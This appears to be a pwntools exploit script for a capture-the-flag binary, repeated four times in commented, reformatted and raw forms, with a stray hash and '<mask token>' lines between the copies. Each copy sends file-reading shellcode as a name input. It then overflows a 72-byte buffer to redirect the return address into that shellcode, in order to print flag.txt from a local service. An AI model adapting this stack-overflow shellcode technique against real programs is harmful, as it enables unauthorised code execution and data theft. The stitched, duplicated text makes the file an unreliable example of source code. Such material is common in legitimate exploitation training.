#!/usr/bin/env python

from pwn import *

with context.quiet:
    p = process('./program')
    r = remote('localhost', 4141)

    flag_filename = 'flag.txt'

    r.recvuntil('Enter your name> ')
    r.send(flag_filename + '\x00')
    r.sendline('\xbf\xc0\x40\x40\x00\xbe\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\xbe\x00\x42\x40\x00\xba\x64\x00\x00\x00\xb8\x80\x10\x40\x00\xff\xd0\x8b\xbc\x24\xbc\xfb\xff\xff\xbe\x00\x42\x40\x00\xba\x64\x00\x00\x00\xb8\x40\x10\x40\x00\xff\xd0')

    r.recvuntil('Enter message> ')
    r.send('b' * 1000)
    r.sendline('c' * 72 + \
               # replace saved rbp
               'd' * 8 + \
               # replace return address with shellcode address in .bss ("name" variable)
               p64(0x4040c0 + len(flag_filename) + 1))

    r.interactive()


6fe5c731607f393908141400d6da0a0e61a95ffd
<mask token>

<mask token>
with context.quiet:
    p = process('./program')
    r = remote('localhost', 4141)
    flag_filename = 'flag.txt'
    r.recvuntil('Enter your name> ')
    r.send(flag_filename + '\x00')
    r.sendline(
        '¿À@@\x00¾\x00\x00\x00\x00¸\x02\x00\x00\x00\x0f\x05H\x89Ç¾\x00B@\x00ºd\x00\x00\x00¸\x80\x10@\x00ÿÐ\x8b¼$¼ûÿÿ¾\x00B@\x00ºd\x00\x00\x00¸@\x10@\x00ÿÐ'
        )
    r.recvuntil('Enter message> ')
    r.send('b' * 1000)
    r.sendline('c' * 72 + 'd' * 8 + p64(4210880 + len(flag_filename) + 1))
    r.interactive()

from pwn import *
with context.quiet:
    p = process('./program')
    r = remote('localhost', 4141)
    flag_filename = 'flag.txt'
    r.recvuntil('Enter your name> ')
    r.send(flag_filename + '\x00')
    r.sendline(
        '¿À@@\x00¾\x00\x00\x00\x00¸\x02\x00\x00\x00\x0f\x05H\x89Ç¾\x00B@\x00ºd\x00\x00\x00¸\x80\x10@\x00ÿÐ\x8b¼$¼ûÿÿ¾\x00B@\x00ºd\x00\x00\x00¸@\x10@\x00ÿÐ'
        )
    r.recvuntil('Enter message> ')
    r.send('b' * 1000)
    r.sendline('c' * 72 + 'd' * 8 + p64(4210880 + len(flag_filename) + 1))
    r.interactive()

#!/usr/bin/env python

from pwn import *

with context.quiet:
    p = process('./program')
    r = remote('localhost', 4141)

    flag_filename = 'flag.txt'

    r.recvuntil('Enter your name> ')
    r.send(flag_filename + '\x00')
    r.sendline('\xbf\xc0\x40\x40\x00\xbe\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\xbe\x00\x42\x40\x00\xba\x64\x00\x00\x00\xb8\x80\x10\x40\x00\xff\xd0\x8b\xbc\x24\xbc\xfb\xff\xff\xbe\x00\x42\x40\x00\xba\x64\x00\x00\x00\xb8\x40\x10\x40\x00\xff\xd0')

    r.recvuntil('Enter message> ')
    r.send('b' * 1000)
    r.sendline('c' * 72 + \
               # replace saved rbp
               'd' * 8 + \
               # replace return address with shellcode address in .bss ("name" variable)
               p64(0x4040c0 + len(flag_filename) + 1))

    r.interactive()

